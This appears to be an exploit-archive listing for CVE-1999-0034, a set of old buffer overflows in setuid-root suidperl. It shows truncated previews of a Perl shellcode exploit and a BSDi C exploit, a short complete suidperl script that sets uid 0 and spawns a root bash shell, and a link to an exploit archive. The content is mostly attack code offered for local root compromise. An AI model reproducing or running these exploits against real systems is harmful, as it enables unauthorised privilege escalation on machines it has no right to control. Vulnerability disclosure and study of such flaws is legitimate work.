CVE-1999-0034

source: wwwsecurityfocuscom/bid/708/info Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl' When this program is installed setuid root the overflows may lead to a local root compromise #!/usr/bin/perl # yes, this suidperl exploit is in perl, isn't it wonderful? :) $| = 1; $shellcode = "\x9 ...

/* (BSDi)suidperl[] buffer overflow, by v9[v9@fakehaloorg] this is that old buffer overflow in suidperl, but i never saw any version of it for BSDi so, here it is this gives euid=0 (BSDi/30) */ #define PATH "/usr/bin/suidperl" /* path to suidperl on BSDi/30 */ #define DEFAULT_OFFSET -5000 /* general offset, a lot of room */ static ...

#!/usr/bin/suidperl -U $ENV{PATH}="/bin:/usr/bin"; $>=0;$<=0; exec("/bin/bash"); # milw0rmcom [1996-06-01] ...

source: wwwsecurityfocuscom/bid/708/info Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl' When this program is installed setuid root the overflows may lead to a local root compromise githubcom/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/19547tgz ...